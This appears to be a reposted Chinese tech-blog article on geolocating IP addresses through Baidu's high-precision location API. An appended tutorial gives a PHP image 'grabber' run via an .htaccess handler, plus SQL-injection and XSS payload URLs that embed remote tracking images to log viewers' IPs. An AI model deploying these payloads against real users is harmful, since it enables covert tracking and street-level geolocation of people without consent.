微信号:WebDev1024

介绍:分享php、html5、html+css、app等web开发技术

实用技巧 | 如何通过IP地址进行精准定位

2016-12-16 10:20 allen权

来自:FreeBuf(微信号:freebuf)

链接:www.freebuf.com/sectool/117164.html

作者:allen权

在甲方工作的朋友可能会遇到这样的问题,服务器或者系统经常被扫描,通过IP地址我们只能查到某一个市级城市,如下图:

当我们想具体到街道甚至门牌号,该怎么办???

偶然间发现百度地图有高精度IP定位API的接口,通过该接口我们可以通过IP地址定位到具体的地理位置,甚至能精确到门牌号及周围的标志性建筑。该接口的说明地址为:http://lbsyun.baidu.com/index.php?title=webapi/high-acc-ip

若想要使用该接口进行查询,必须先申请一个密钥(AK),如下图:

申请过程就不进行说明了。API的接口参数说明和返回参数说明也不过多的介绍,大家可以看一看。因为我想返回基础定位结果+地址信息+POI信息,所以我将请求参数extensions的值设置为3。

一次完整的http请求为:http://api.map.baidu.com/highacciploc/v1?qcip=183.55.116.90&qterm=pc&ak=“你的    密钥(AK)”&coord=bd09ll&extensions=3 。请求结果如下图:

结果为json格式数据:

{"content":{"location":{"lat":23.06588,"lng":115.404586},"locid":"925a2a9e3ac5be1cf003afd23c344ab3","radius":30,"confidence":0.5,"address_component":{"country":"中国","province":"广东省","city":"汕尾市","district":"海丰县","street":"新平路","street_number":"","admin_area_code":441521},"formatted_address":"广东省汕尾市海丰县新平路","business":"公平"},"result":{"error":161,"loc_time":"2016-10-19 21:53:28"}}

我们需要的字段为:content字段里面的formatted_address。当然我们也可以将location里面的经度和纬度提取出来从而显示在地图上面。有的IP地址会返回pois数据,比如:183.55.116.95。返回参数如下:

{"content":{"location":{"lat":23.082367,"lng":115.466276},"locid":"3fb96555906fff3100ff21119142ccd5","radius":30,"confidence":1.0,"address_component":{"country":"中国","province":"广东省","city":"汕尾市","district":"海丰县","street":"S335","street_number":"","admin_area_code":441521},"formatted_address":"广东省汕尾市海丰县S335","pois":[{"name":"双墩村","address":"汕尾市海丰县三三五省道","tag":"行政地标;村庄","location":{"lat":23.082422,"lng":115.465348},"uid":"18010998377147269119"},{"name":"双墩村委会","address":"汕尾市海丰县","tag":"政府机构;各级政府","location":{"lat":23.083394,"lng":115.465914},"uid":"17661602237861855231"},{"name":"长联塘尾","address":"汕尾市海丰县","tag":"行政地标;村庄","location":{"lat":23.081358,"lng":115.467315},"uid":"18010998372852301823"},{"name":"双墩小学","address":"335省道附近","tag":"教育培训;小学","location":{"lat":23.083336,"lng":115.465061},"uid":"17661601958688980991"},{"name":"大溪头","address":"汕尾市海丰县","tag":"行政地标;村庄","location":{"lat":23.090326,"lng":115.465995},"uid":"18010998368557334527"}],"location_description":"双墩村东104米"},"result":{"error":161,"loc_time":"2016-10-19 22:03:31"}}

此时我们可以把pois字段也提取出来,值得注意的是pois为数组,我们可以遍历数组数据。通过上面的分析,用python简单的写了一个脚本,具体代码点击阅读原文可见。

大家把脚本上面的参数ak值改为自己的密钥即可。测试截图如下:

再放一张自己IP的测试截图:

确实精确到了路名,很准确,虽然没有pois的信息。

最后声明一下,成功率:综合定位成功率 65%  ,精度:90% 误差 80m 以内;95% 误差 350m。这是官方给出的数据,所说有一定的概率是查询失败的!!!!


附:《如何通过一张照片来获取ip地址?》来自:黑客与极客(微信号:freebuf )

链接:http:/ /www.freebuf.com/articles/database/101233.html

看到一篇关于“使用sql注入语句获取ip地址”的文章,对此我很感兴趣,就仔细阅读了一下,在读完这篇文章之后,我有了一个新的想法:通过对htaccess的利用,实现用一张照片获取他人的ip地址

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php


$fh = fopen('ip_list.txt', 'a');

fwrite($fh, $_SERVER['REMOTE_ADDR']."

");


fclose($fh);

$im = imagecreatefromjpeg("n00b.png");

header('Content-Type: image/jpeg');

imagejpeg($im);

imagedestroy($im);


?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src="http://leettime.net/idiots_test_lab/imageip/tryme.jpg">&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。



●本文编号213,以后想阅读这篇文章直接输入213即可。

●输入m可以获取到文章目录

推荐15个技术类公众微信

涵盖:程序人生、算法与数据结构、黑客技术与网络安全、大数据技术、前端开发、Java、Python、Web开发、安卓开发、iOS开发、C/C++、.NET、Linux、数据库、运维等。

小编推荐↓↓↓
 

互联网行业的年轻人,他们面对着怎样的职业瓶颈、困惑与未来选择?过去,这鲜有人关心。资深的职场人,也多半优先选择熟人去推荐机会。


100offer致力于改变现状,帮互联网行业最好的人才发现更好的机会。使用100offer.com或100offer App,可以一周内获得中国、美国等数千家优质企业的工作机会。

点击阅读原文,看看「James如何通过100offer找到了更好的工作?」。

 
Web开发 更多文章 什么是 Web 框架? 从增删改查中突围 为什么你有许多架构师,项目依然延期并各种问题 单点登录原理与简单实现 你要的 技术全景地图 来了!
猜您喜欢 途牛原创 | 接口自动化测试和测试桩 如果决定使用Docker,是否有必要同时使用OpenStack? 这家初创公司唱着“一条大河”开发布会 2015年21款应用最佳设计篇 读写文件与读写数据库的效率比较